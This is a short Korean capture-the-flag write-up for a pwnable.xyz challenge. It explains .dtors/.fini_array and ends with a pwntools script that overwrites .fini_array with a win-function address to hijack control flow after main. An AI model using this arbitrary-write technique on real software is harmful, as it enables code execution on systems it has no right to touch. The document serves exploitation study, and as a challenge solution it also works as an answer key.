문제 풀이 환경 : Ubuntu 16.04
📝 Analysis
<< Mitigation >>
RELRO, PIE가 없다.
<< Code >>
· main
이게 다인 프로그램이다.
사용자가 원하는 주소에 원하는 값을 단 하나 넣을 수 있게 하고 프로그램을 종료시킨다.
미티게이션에서 RELRO가 없지만 GOT Overwrite를 사용할 수는 없을 것 같다.
이때 문제에서 준 힌트를 이용할 수 있다.
파이썬 문법으로 결괏값이 DTORS라고 나온다.
▶ What is DTORS?
https://woosunbi.tistory.com/89
ctors, dtors section
GNU Compiler 는 컴파일 시 .ctors, .dtors section 을 생성한다. .ctors 속성의 함수는 main() 전에 실행되고, .dtors 속성의 함수는 main() 종료 후에 실행된다. 따라서, main() 종료 후 .dtors 함수가 실행된다..
woosunbi.tistory.com
간단히 말해 main 함수가 종료될 시 불려지는 함수다.
이게 조금 바뀌어서 fini_array가 되었다.
정확한 차이점과 바뀐 이유에 대해서는 다음의 질문글을 참고하기 바란다.
https://gcc.gnu.org/bugzilla/show_bug.cgi?id=46770
46770 – Replace .ctors/.dtors with .init_array/.fini_array on targets supporting them
A patch Details | Diff A demo of mixing .init_array and .ctors Details
gcc.gnu.org
그리고 여기 강의를 참고하면 이 문제는 쉽게 해결될 듯하다.
https://dreamhack.io/learn/11#8
로그인 | Dreamhack
dreamhack.io
🧩 Exploit Scenario
1) Addr로 .fini_array의 주소 주기
2) win 함수의 값으로 덮어주기
🚩 Flag 🚩
from pwn import *
p = remote('svc.pwnable.xyz', 30033)
p.sendafter(b'Addr: ', str(0x600BC0).encode())
p.sendafter(b'Value: ', str(0x400825).encode())
p.interactive()